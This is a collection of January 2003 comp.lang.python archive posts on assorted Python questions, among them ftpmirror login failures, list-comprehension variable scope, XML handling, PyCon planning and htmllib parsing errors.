From jerf at compy.attbi.com  Wed Jan  8 22:32:48 2003
From: jerf at compy.attbi.com (jerf at compy.attbi.com)
Date: Thu, 09 Jan 2003 03:32:48 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc>
Message-ID: <pan.2003.01.08.22.32.27.57796@compy.attbi.com>

On Tue, 07 Jan 2003 22:59:50 -0500, Tupoi wrote:

> what are the best colleges for those wanting to major in computer science

Succeeding in computer science is more a matter of being dedicated and
devoted to the task and taking advantage of the resources you'll find in
college. As long as you are that kind of student, almost any department
will be good enough. If you are not that kind of student, no department
will be good enough.



From CousinStanley at HotMail.com  Wed Jan  1 17:43:02 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Wed, 1 Jan 2003 15:43:02 -0700
Subject: ftpmirror_Login
Message-ID: <auvqsq$ajhvh$1@ID-130333.news.dfncis.de>

Happy New Year ...

I'm trying to test  ftpmirror.py  and having login problems ...

Using Win98, my normal ftp login via the Internet Explorer
address box is ...

     ftp://sckitching at fastq.com

    http://fastq.com/~sckitching
    Could the ~ Tilde character be a problem ???

I'm pretty sure I'm not coding the arguments correctly,
but haven't come up with a combination that works yet ...

I've looked at the documentation in the module
that explains the arguments, and just went through
six pages of  ftpmirror  related links for CLP on Google Groups
without finding an  ACTUAL  example of usage ...

Anyone have a simple example ???

It seems that using the  -i  switch
should prompt for the password ???

Following is the result of one of the many attempts I've made ...

Cousin Stanley

-----------------------------------------------------------------

python ftpmirror.py -i -v -l sckitching ftp.fastq.com

Connecting to 'ftp.fastq.com' ...

Logging in as 'sckitching' ...

Traceback (most recent call last):

  File "ftpmirror.py", line 774, in ?
    main()

  File "ftpmirror.py", line 147, in main
    f.login( login , passwd , account )

  File "K:\PYTHON\lib\ftplib.py", line 368, in login
    if resp[0] == '3': resp = self.sendcmd('PASS ' + passwd)

  File "K:\PYTHON\lib\ftplib.py", line 242, in sendcmd
    return self.getresp()

  File "K:\PYTHON\lib\ftplib.py", line 215, in getresp
    raise error_perm, resp

ftplib.error_perm: 530 Login incorrect.






From geoff at gerrietts.net  Wed Jan 22 13:50:11 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Wed, 22 Jan 2003 10:50:11 -0800
Subject: Communication between two programs on unix
In-Reply-To: <b0mod6$m6a$1@bob.news.rcn.net>
References: <b0kvs0$o59$1@bob.news.rcn.net> <x73cnl2hn8.fsf@guru.mired.org> <b0mod6$m6a$1@bob.news.rcn.net>
Message-ID: <20030122185011.GD20311@isis.gerrietts.net>

Quoting morden (morden at shadows.net):
> 
> I want the communication to work over cu session because some of our
> customers live in stone age and don't have Internet connection.
> So I want to run gui locally and eventually throw out Motif and move
> all the gui into Tkinter. For now I'm just moving modal dialogs
> into Tkinter.
> The reason to dump Motif is because the lib we use on top of it (Zinc 
> 4.0) seems pretty buggy and Tk is pretty stable compared to it.
> 

I'm still not quite able to make sense of how you expect or desire the
final product to work.

I've got that you want to use a variety of different "links":
cross-memory, via popen; cross-serial line, via cu; cross-internet,
via ssh.

I'm not sure what data you're really looking to have the programs
exchange. It sounds to me like what you'd like to do is present the
motif application as it stands, but on occassion, override its
behaviors with dialogs you've created.

This is going to be nontrivial. I can't speak definitively for what
must happen to make this work, but there's no simple file-like,
character-mode interface for an X program. Or, rather, there's a
file-like interface, but the data transfered on that connection is
going to consist of X server instructions. Your "client program", the
tkinter jobbie, would need to fake the motif program into believing it
was an X server (I think nontrivial), and the tk program must know
enough to know when its being asked to draw a modal dialog (maybe
easy, maybe not).

I have no idea about the feasibility of doing this via cu. I also
don't know if you can hijack ssh's X forwarding facility to accomplish
this for you -- maybe, but I honestly don't know. I think you might
need to go with an ssh-tunnel solution.

Am I on the right track here? Or do you really want to exchange only
that information that, if started from an xterm, your two programs
would print to the terminal, rather than display in a GUI?

Thanks,
--G.

-- 
Geoff Gerrietts             "Me and my homies, we tag O.D.."
<geoff at gerrietts net>        --Unknown grafitti artist at a party




From tjreedy at udel.edu  Sun Jan  5 14:37:48 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 5 Jan 2003 14:37:48 -0500
Subject: File-like objects name attribute.
References: <c9d82136.0301051014.7335bb8@posting.google.com>
Message-ID: <_dacnd20w6jjFIWjXTWcpg@comcast.com>

"Noah" <noah at noah.org> wrote in message
news:c9d82136.0301051014.7335bb8 at posting.google.com...
> I'm creating a file-like object. According to the current doc page:
>
>
http://www.python.org/doc/current/lib/bltin-file-objects.html#l2h-175
>     name
>         If the file object was created using open(), the name of the
file.
>         Otherwise, some string that indicates the source of the file
object,
>         of the form "<...>". This is a read-only attribute and may
not
>         be present on all file-like objects.
>
> What does the form "<...>" mean?

That the enclosed  string does *not* name a file.

> Does this mean I should include < > around  the  name for my
file-like object?
> For my purposes, I don't much care.   I just want to be complete.

.name is not used much and need not be present, but if you include it,
I would follow the convention.

> In my case, I am implementing a pure Python expect module.
> My file-like class spawns a child process and lets you talk to it
like a file.
> I want to have name represent the command and arguments of the child
process
> that was spawned. For exmaple, which of the following is more
correct:
>         name = "/bin/ls -la /etc"

This could be read as naming file 'etc' in subdirectory 'ls -la'
(legal on Windows, at least) of /bin.  Not quite what you intended
8<).

> or
>         name = "</bin/ls -la /etc>"

This is unambiguously *not* a file name!

Terry J. Reedy





From gerhard.haering at gmx.de  Fri Jan  3 22:26:04 2003
From: gerhard.haering at gmx.de (Gerhard Haering)
Date: Sat, 4 Jan 2003 04:26:04 +0100
Subject: ping multiple Ips with python
In-Reply-To: <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>
Message-ID: <20030104032603.GB77985@gargamel.ghaering.test>

* darrell <dgallion1 at yahoo.com> [2003-01-04 03:07 +0000]:
> Multiple ping sounded like fun.
> So here's a quick mod to some ping code I found.
>
> #!/usr/bin/env python
> [icmp code in Python]

This needs superuser privileges, right?

Do you work as root by default, because you don't mention this necessity?!

That was the primary reason why I tried to interface the suid root 'ping'
utility with popen2.Popen3.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From donnalcwalter at yahoo.com  Sun Jan  5 07:20:05 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Sun, 5 Jan 2003 06:20:05 -0600
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com> <mailman.1041527081.32120.python-list@python.org> <3E15E739.95B69415@engcorp.com> <av6kjm$cioo1$1@ID-71831.news.dfncis.de> <3E1706AF.4D193D06@engcorp.com>
Message-ID: <av97rt$ovm$1@main.gmane.org>

Peter Hansen wrote:
> James Kew wrote:
> >
> > I've found Roundup (http://roundup.sourceforge.net) excellent for issue
> > tracking on small-team projects: it's simple and flexible enough that it
> > doesn't get in the way, usable enough that developers take to it easily,
> > powerful enough that it's almost entirely replaced the
impossible-to-track
> > email ping-pong we were doing before, and it's all Python plus Zope-like
> > HTML templaties so it's eminently customisable and hackable.
>
> I just took another look at it (two years after I first read about it,
> before it was released, as I recall) and am impressed by its progress.
> I'd recommend that anyone interested (like Donnal) visit the link above
and
> check out the live online demo.
>
> I can't say just how effective this would be for *story* tracking ala
> XP, but as I said almost any bug/issue tracker worth its salt would
> be adequate for a start.  Certainly Roundup is significantly more
> polished than our own.

A day or two ago I Googled on ["bug tracker" Python] and missed Roundup;
Google on [tracker Python] returns Roundup in the first three or four hits.
Roundup looks like it could be quite helpful. Thanks.








From max at alcyone.com  Fri Jan  3 02:21:08 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 02 Jan 2003 23:21:08 -0800
Subject: Downcast (I know it sounds silly, but ...)
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
Message-ID: <3E1539E4.38978C72@alcyone.com>

Rocco Rossi wrote:

> I was wondering if it is possible in Python to do something analogous
> to
> downcasting in a statically typed language like C++. I mean is it
> possible
> to take an instance of a base class and magically transform it into an
> instance of some derived class eventually fixing things (like the
> missing
> attribute data)?

Since Python has neither casts nor pointers (downcasting is done via
pointers), it's hard to tell precisely what you mean with respect to
Python.  Perhaps if you back up a step and tell us what you are trying
to do?

Certainly with Python you can do all sorts of naughty tricks, such as
manually changing the instance of a class via setting its __class__
attribute.  Whether or not that's really what you want depends on what
you're really after.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ We grow in time to trust the future for our answers.
\__/ Ruth Benedict
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.



From nthomas at cise.ufl.edu  Fri Jan 17 14:00:41 2003
From: nthomas at cise.ufl.edu (N. Thomas)
Date: Fri, 17 Jan 2003 19:00:41 +0000 (UTC)
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <23891c90.0301170257.7267c8c3@posting.google.com>
Message-ID: <slrnb2gkmp.gpa.nthomas@rain.cise.ufl.edu>

In article <23891c90.0301170257.7267c8c3 at posting.google.com>, Paul Boddie wrote:
>
> "N. Thomas" <nthomas at cise.ufl.edu> wrote in message
> news:<slrnb293jk.1hr.nthomas at rain.cise.ufl.edu>...
> 
> > I mean, are there situations where is it better to save one's data
> > in XML internally as opposed to using the language's native
> > structures, and exporting to/from XML?
> 
> Once you start to look into more advanced features, it would seem to
> me that the lists and dictionaries model approaches such a level of
> complexity that a "proper" object model would be better. That is
> because you would need to find more efficient ways (in terms of
> expression) of requesting an attribute with a given namespace, for
> example, than examining raw dictionaries.

Ah, this makes a whole lot of sense -- I have been enlightened. Thanks
for the info.

thomas

-- 
N. Thomas
nthomas at cise.ufl.edu
Etiamsi occiderit me, in ipso sperabo



From max at alcyone.com  Tue Jan 21 14:21:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 11:21:46 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org> <b0g2od$nq9$1@wheel2.two14.net> <3E2BB957.2A2199CF@alcyone.com> <b0h4kp$ome$1@wheel2.two14.net> <LtucneGmN-XXKbGjXTWc3g@comcast.com> <7h3n0lukckc.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3E2D9DCA.CD253117@alcyone.com>

Michael Hudson wrote:

> strings got methods in 1.6.

Shouldn't that be 1.6/2.0?  As I recall, 1.6 and 2.0 were developed in
tandem; 1.6 was a dead-end fork that was warranted for satisfying a
license.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The doors of Heaven and Hell are adjacent and identical.
\__/ Nikos Kazantzakis
    Official Omega page / http://www.alcyone.com/max/projects/omega/
 The official distribution page for the popular Roguelike, Omega.



From martin at v.loewis.de  Sat Jan 25 09:59:37 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 25 Jan 2003 15:59:37 +0100
Subject: help on autosuper
References: <mailman.1043499885.7817.python-list@python.org>
Message-ID: <m3hebxuvfq.fsf@mira.informatik.hu-berlin.de>

Michele Simionato <mis6+ at pitt.edu> writes:

> Somebody can tell me what's happening, please ?

Did you try to find out yourself?

Regards,
Martin



From maney at pobox.com  Fri Jan 17 21:18:42 2003
From: maney at pobox.com (Martin Maney)
Date: Sat, 18 Jan 2003 02:18:42 +0000 (UTC)
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <mailman.1042740101.18359.python-list@python.org> <ad496f8.0301170354.3bc49338@posting.google.com> <3E27F175.7C9FE6B2@alcyone.com>
Message-ID: <b0adi2$e7m$2@wheel2.two14.net>

Erik Max Francis <max at alcyone.com> wrote:
> Probably for the same reason that other iterative constructs that
> introduce variables don't make them local to that structure either:
> 
>>>> [x for x in range(10)]
> [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>>> x
> 9
>>>> for y in range(10): print y,
> .... 
> 0 1 2 3 4 5 6 7 8 9
>>>> y
> 9
> 
> If one annoys you, surely the other would, too?

Logically, you may be right.  Nevertheless, I, too, find the continued
existence of x far more surprising than that of y.  I suspect there ar
multiple factors at work here, including similarity to other languages'
handling of loop variables (though there are some that got both ways on
this), as well as the observation that there's not really much chance
of conveying useful information out of the comprehension.  At least
that's my intuition, compared to the frequent use of an early exit from
more general loops where the current value of the loop's state may
carry the information that is the reason for the loop's existence.

invariantly yours, Martin



From essai1 at mci.local  Sun Jan  5 15:16:20 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Sun, 5 Jan 2003 21:16:20 +0100
Subject: Python vs .Net
References: <mailman.1041765407.27348.python-list@python.org> <av9n65$8bg$1@news-reader10.wanadoo.fr> <zCZR9.63$HE5.5922948@mantis.golden.net>
Message-ID: <ava3kr$8ft$1@news-reader11.wanadoo.fr>

Hi !

COM et Base-de-registre : non obligatoire (c'est une facilit?).  La preuve :
dans une page web, on peut inclure un objet active-X (g?r? par COM), qui
n'est pas enregistr? dans le registre, mais fonctionne bien, c?t? client,
avec Internet-explorer.

L'inscription dans le registre sert essentiellement ? faire le lien entre le
nom de l'application, l'APPID et le CLSID.

@-salutations

Michel Claveau





From securityguy100 at hotmail.com  Thu Jan  9 16:19:13 2003
From: securityguy100 at hotmail.com (paul)
Date: 9 Jan 2003 13:19:13 -0800
Subject: threading with re module
Message-ID: <f105dedd.0301091319.7fb001a2@posting.google.com>

hey guys,

is there any alternative to the standard re module that is
thread-safe? i saw some discussion of pregex but it dates back to '97.
is that still around? if not, what are people doing to get thread-safe
regex in python?

thanks



From max at alcyone.com  Wed Jan 29 00:55:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 21:55:02 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com>
Message-ID: <3E376CB6.D4A32AF2@alcyone.com>

Paul Rubin wrote:

> It sounds like you're thinking of this as some complicated subsystem
> where a lot of API-level stuff needs to be ironed out that hasn't been
> thought about yet.  It's not anything like that.  This functionality
> has been done many times before and crypto application writers are
> used to it.

So why, again, does it need to be rushed into 2.3, which is already at
alpha?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It's soulful music.  It doesn't necessarily sound like ... soul ...
\__/ Sade Adu
    CSBuddy / http://www.alcyone.com/pyos/csbuddy/
 A Counter-Strike server log file monitor in Python.



From mike at skew.org  Tue Jan 14 03:15:00 2003
From: mike at skew.org (Mike Brown)
Date: Tue, 14 Jan 2003 01:15:00 -0700
Subject: XML and Python
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com> <aj9q1v47i1pmjlrv2v3uhag3a301is0f3u@4ax.com> <d116fbae.0301111020.69245998@posting.google.com> <avulm9$dc9$1@rrzd1.rz.uni-regensburg.de>
Message-ID: <3e23c704_3@omega.dimensional.com>

Martin Schmettow wrote:
> Some of the methods for Element-Nodes in xml.dom
> seem to be missing in Ft.Xml.Domlette. For example:
> hasAttribute, setAttribute, getAttribute.
> Is there any documentation, which exactly mentions
> the methods available in Domlette and those not?

Not yet! But you can use Python's introspection capability (good ol' dir),
as demonstrated here:
http://mail.python.org/pipermail/xml-sig/2002-December/008869.html

If you're looking for getElementsByTagName(), see where the thread continues
at
http://mail.python.org/pipermail/xml-sig/2002-December/008871.html

and especially note the simpler solution: XPath...
http://mail.python.org/pipermail/xml-sig/2002-December/008873.html





From simonb at webone.com.au  Fri Jan 17 19:47:32 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 18 Jan 2003 11:47:32 +1100
Subject: linux.conf.au 2003
Message-ID: <pan.2003.01.18.00.47.31.190748@webone.com.au>

Anyone here going?
Shall we band together? What's hot (apart from the tempurature)?


-Simon Burton.




From kyle at lakeofburningfire.org  Wed Jan 29 20:27:51 2003
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Thu, 30 Jan 2003 01:27:51 GMT
Subject: biggles on windows
References: <b19s8i$11fvme$1@hades.rz.uni-sb.de>
Message-ID: <2ivg3v0t4dq1ciacgu97fpaifha5a1uqmn@4ax.com>

The Windows installer could be designed for activestates python.  If
you're not running the activestate version, then you don't have the
registry settings.  That happens some times.  Here's what I have in my
registry.

Create the following key
HKEY_LOCAL_MACHINE\SOFTWARE\ActiveState\ActivePython

Create a string called CurrentVersion here.
Then set it to whatever your version number is.  Mine is set to 222.

Now create a corresponding key.
HKEY_LOCAL_MACHINE\SOFTWARE\ActiveState\ActivePython\222

Set the (Default) string to whatever your install directory is.  Mine
is C:\Python22\

Now try installing again.

On 30 Jan 2003 00:39:46 GMT, Uwe Schmitt <uwe.schmitt at procoders.net>
wrote:

>Hi,
>
>I tried to install the 2d plotting package biggles
>(http://biggles.sf.net) on my Win2K machine. I use
>ActiveState python.
>
>My problem is the following: when using the binary
>installer for biggles, the installer does not
>find my python installation and entering the
>apropriate path manually is not possible.
>
>I posted the problem to the biggles mailing list
>but got no answer.
>Did anyone manage this problem ?
>
>Greetings, Uwe.




From pyth at devel.trillke.net  Fri Jan 31 06:34:38 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 31 Jan 2003 12:34:38 +0100
Subject: Help a C++ coder see the light
In-Reply-To: <ad496f8.0301310320.4ea193c5@posting.google.com>; from vvainio@tp.spt.fi on Fri, Jan 31, 2003 at 03:20:11AM -0800
References: <memo.20030130181135.820C@a.radioscape.com> <ad496f8.0301310320.4ea193c5@posting.google.com>
Message-ID: <20030131123438.D10804@prim.han.de>

Ville Vainio wrote:
> mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) wrote in message news:<memo.20030130181135.820C at a.radioscape.com>...
> 
> > As far as I can tell, the only way to have the same confidence in ones 
> > code as you'd get with C++ (albeit using code that might take you a lot 
> 
> You have confidence in the code you write in C++? Now that's what I
> call misplaced optimism...
> 
> Seriously though, even though the error you mention might require
> extra testing, at least the errors can be fixed immediately when they
> occur. When my C++ program crashes (in production environment w/o 
> debugging tools), I get annoyed because I know I have to try to
> replicate the error and tighten the logging to pin down the location.
> When a Python program crashes (which it does, instead of happily
> continuing after writing garbage to adjacent memory buffer), I'm happy
> because I have found and immediately squashed yet another bug. There
> is no need for heavy debugging machinery, someone just sends you a
> traceback via email or whatever.

Note, though, that with complex python programs you can get tracebacks
that carry not much more information than a segmentation fault. 
E.g. Zope sometimes presents tracebacks that are not easy to 
interprete unless you know the internals pretty well. 

Of course, Python makes it easier to present errors gracefully
and i agree with your other points.

    holger




From mwm at mired.org  Tue Jan 21 12:28:26 2003
From: mwm at mired.org (Mike Meyer)
Date: Tue, 21 Jan 2003 17:28:26 GMT
Subject: a single class supporting multiple facets/interfaces
References: <mailman.1043066796.28044.python-list@python.org>
Message-ID: <x7n0lu2z05.fsf@guru.mired.org>

David Garamond <davegaramond at icqmail.com> writes:

> i want to have a class that can support multiple sets of methods,
> based on what the client requests. for example, see the following code:
> 
> 
> <<EOF
> class C:
>      def foo(self):
>          print "foo"
>      def bar1(self):
>          print "bar version 1"
>      def bar2(self, arg):
>          print "bar version 2, arg =", arg
>      def facet(self, whichFacet=1):
>          if whichFacet == 1:
>              return C_facet1(self)
>          elif whichFacet == 2:
>              return C_facet2(self)
>          return
> 
> class C_facet1:
>      def __init__(self, c):
>          self.foo = c.foo
>          self.bar = c.bar1
> 
> class C_facet2:
>      def __init__(self, c):
>          self.foo = c.foo
>          self.bar = c.bar2

You can do this slightly cleaner if you're willing to use inheritance.

class C:
    # as before, except no arguments passed to C_facet? in facet.

class C_facet1(C):
    bar = C.bar1

class C_facet2(C):
    bar = C.bar2
  

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From lac at strakt.com  Wed Jan 29 13:13:12 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 19:13:12 +0100
Subject: [Q] Customizable text editor based on Python? 
In-Reply-To: Message from Peter Hansen <peter@engcorp.com> 
   of "Wed, 29 Jan 2003 10:22:49 EST." <3E37F1C9.1F56F15@engcorp.com> 
References: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net> <3E372422.30E3AEAB@engcorp.com> <mailman.1043822811.23234.python-list@python.org> <3E37F1C9.1F56F15@engcorp.com> 
Message-ID: <200301291813.h0TIDCjL028136@ratthing-b246.strakt.com>

If you use PyMacs http://www.iro.umontreal.ca/~pinard/pymacs/ you can
script emacs in Python.

Laura Creighton




From martin at v.loewis.de  Mon Jan 20 16:23:35 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 22:23:35 +0100
Subject: Import from zip file?
References: <mailman.1043090594.4690.python-list@python.org>
Message-ID: <m37kcz1pns.fsf@mira.informatik.hu-berlin.de>

"David LeBlanc" <whisper at oz.net> writes:

> Isn't import from zip/tgz/bzip supported in python 2.3, as well as extending
> support for user written importers?

Sure, but the OP was asking about Python 2.2 specifically.

Regards,
Martin



From vanevery at 3DProgrammer.com  Fri Jan 31 18:07:25 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:07:25 GMT
Subject: Python vs. C++ Builder - speed of development
References: <mailman.1043904061.3760.python-list@python.org> <nM5_9.4304$wd2.333480@newsread2.prod.itd.earthlink.net> <NU6_9.48134$Hl6.6118113@news010.worldonline.dk> <pLg_9.5360$Wu1.409484@newsread1.prod.itd.earthlink.net> <yyyznphl2ar.fsf@adams.patriot.net>
Message-ID: <NkD_9.857$ek4.85720@newsread2.prod.itd.earthlink.net>

Nick Vargish wrote:
> "Brandon Van Every" <vanevery at 3DProgrammer.com> writes:
>
>> Because I work at home.  I suppose I could go around the corner to a
>> coffee shop.
>
> Probably not a bad idea... Preferrably one _without_ an 802.11 access
> point.
>
> Just for sanity's sake,

I intensely dislike Internet cafes.  If I go to a cafe, it's because I want
to interact with *people*.  Yet here are all these boobs staring at these
screens.  I can do that sort of antisocial thing at home, much more cheaply!

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From sholden at holdenweb.com  Sun Jan 12 16:19:15 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 12 Jan 2003 16:19:15 -0500
Subject: PyCon DC anyone?
References: <lj4U9.63948$kY3.2535794@twister.southeast.rr.com>
Message-ID: <FVkU9.72186$Z57.68417@FE06>

"Tom Bryan" <tbryan at python.net> wrote ...
> I've been looking around for discussions about PyCon, and I've been
> disappointed so far.  The submission deadline is nearing
> http://www.python.org/pycon/cfp.html, and I was hoping to see some
> discussion of what others were thinking of doing.  I haven't seen much on
> c.l.py about the conference, and the Wiki at
> http://www.python.org/cgi-bin/moinmoin/PyCon is not particularly active.
> The pycon-interest mailing list is also quiet.  Given the nature of the
> conference, I expected more community involvment at this point.
>
> I was hoping that there would be some good Jython content at the
conference.
> i even went so far as to start a page about a Jython track at the
> conference at http://www.python.org/cgi-bin/moinmoin/PyConJython, but I'm
> afraid that no one is actually submitting any papers/talks about any of
> these topics.  Any other Jython users planning to attend PyCon.
>
> I haven't been to any technical conference like this before, and I really
> don't know what to expect.  I was just excited about the concept of
> something cheap enough that I could afford it on my own.  :-)  I wanted to
> add some variety to my day job of coding in Java and C, and I thought that
> the PyCon sounded like a fun place to meet other Pythonistas, hear what
> people are doing, learn some new stuff, and hack some code.  It's going to
> be difficult for me to decide whether to go if I don't see some others
> talking about it.
>
> Anyway, what does the rest of the community think?  Are you going to
PyCon?
> What do you expect?  Did you submit a paper?
>
> wouldn't-want-to-be-the-only-attendee-ly y'rs,

Tom:

It's unlikely that you'll be the only attendee (I'm going too, and
PythonLabs staff will be there all week, as well as in attendance at the
pre-conference sprints). However, like you I was hoping that the Python
community at l;arge would take PyCon to its heart and start to edit the Wiki
to reflect their interests in PyCon.

Consequently I'd like to follow up your posts by asking those c.l.py readers
who are planning to attend to actually be a little more proactive, and start
moulding the conference to meet their interests. I'm hoping this will make
it a more interesting and useful conference.

but-then-i'm-just-the-chairman-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From n.vasiliev at apatit.com  Thu Jan 30 10:59:26 2003
From: n.vasiliev at apatit.com (Nicolay Vasiliev)
Date: 30 Jan 2003 07:59:26 -0800
Subject: Python newbie question
Message-ID: <f918ac11.0301300759.4ac814bc@posting.google.com>

Hello!

I am in process of Python learning. And I am interesting: is there any
way for connect to the database having ODBC driver of this database (I
mean having Windows OS on the client PC)?

Particularly I need of Sybase SQL Anywhere connection. Maybe having
ODBC-driver I need not of any specific technology to make connection?

Thanks to all in advance and sorry my poor English.

Nicolay Vasiliev,
Russia



From tim at nowhere  Thu Jan  2 16:33:19 2003
From: tim at nowhere (Tim)
Date: Thu, 2 Jan 2003 21:33:19 -0000
Subject: config management capabilities
Message-ID: <3e14b01e$0$234$cc9e4d1f@news.dial.pipex.com>

Hullo
[neophyte writing]

I've been getting different behaviours from simple code running on different
platforms (2.2.2 and 2.1, rh 8.0, windows xp and jython), which I think I've
nailed down to different versions of python modules being installed.

I've seen mechanisms in Distutils for installing modules, but I didn't
notice any general mechanism for managing the standard modules
(up/downgrading the .py? files only), nor any separation of these from the
python distributions (although there's clearly a dependency between some
module versions and python language changes).

Are there any python approaches for ensuring that loaded modules are
suitable versions at runtime?  I think that would mean some standard way of
defining versions for all modules (both interface spec and implementation?),
a way of specifying the dependency and an interrogation technique.

Ideally, I suppose there'd also be some tools/mechanisms for tracking
version compatability.

tia

Tim





From max at alcyone.com  Tue Jan 28 04:46:56 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 01:46:56 -0800
Subject: emacs python mode problem
References: <c3835e5f.0301271901.546be815@posting.google.com>
	 <3E362A33.B6FD01B6@alcyone.com> <mailman.1043739589.17894.python-list@python.org>
Message-ID: <3E365190.3F3D671F@alcyone.com>

Andrew McGregor wrote:

> That quote effectively turns the line into a comment (it turns a
> function
> call into a list constant, and then does nothing with it).
> 
> If however you're quoting part of something like this from my
> .xemacs/custom.el then it's OK (but notice the different syntax).
> 
> (custom-set-variables
>  '(paren-mode (quote sexp) nil (paren))
>  '(lazy-shot-mode t nil (lazy-shot))
>  '(fast-lock-mode t nil (fast-lock))
>  '(line-number-mode t)
>  '(py-indent-offset 4)
>  '(font-lock-mode t nil (font-lock)))

Very astute observation.  I had presumed that the (quoted) s-expression
was a standalone entry.  If it was cut and pasted from a part of a more
involved s-expression, then certainly it could have done something more
meaningful.  (Although from the context, I still suspect my suspicions
were right, and it was a standalone s-expression that (accidentally) did
nothing.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The basis of optimism is sheer terror.
\__/ Oscar Wilde
    HardScience.info / http://www.hardscience.info/
 The best hard science Web sites that the Web has to offer.



From pan-newsreader at thomas-guettler.de  Mon Jan 20 12:46:36 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Mon, 20 Jan 2003 18:46:36 +0100
Subject: Difficulty using htmllib
References: <e81e0f3d.0301180716.5b1aba2a@posting.google.com>
Message-ID: <pan.2003.01.20.18.46.35.661755.698@thomas-guettler.de>

On Sat, 18 Jan 2003 22:13:37 +0100, Peter Abel wrote:

> joshua at goodish.org (Joshua Goodlett) wrote in message
> news:<e81e0f3d.0301180716.5b1aba2a at posting.google.com>...
>> I've written a small web robot script to familiarize myself with both
>> the htmllib and urllib modules but have been getting an error message
>> when my HTMLParser subclass is fed.  I've included the relevant code,
>> as well as the error message, below:

Hi!

If you look at the top of the HTML file from
http://www.turn-keywireless.com/ you see that it is created
with MS-Frontpage. I once had a similar problem when I 
tried to parse the HTML output of MS-Excel.

I think the problem is here: (Quote)

 <![if !vml]>

Try parsing the file without it. I help me by removing all
this MS stuff with a regular expression before sending it
to the parser.

See (first link)
http://groups.google.com/groups?q=python++htmllib+guettler

There is a bug in the bugtracker, too:

http://mail.python.org/pipermail/python-bugs-list/2002-February/010048.html

Although this bug is closed with the comment:
"""
This is not an actual bug in the interpretation of HTML, and
there has not been a recurring pattern of complaints about
this.  Given that we do not want to encourage the creation
of broken HTML, this edge case will not be allowed to
further complicate the code.
"""

I think that htmllib should be fixed. 
All volunteers to the keyboard!

 thomas


-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



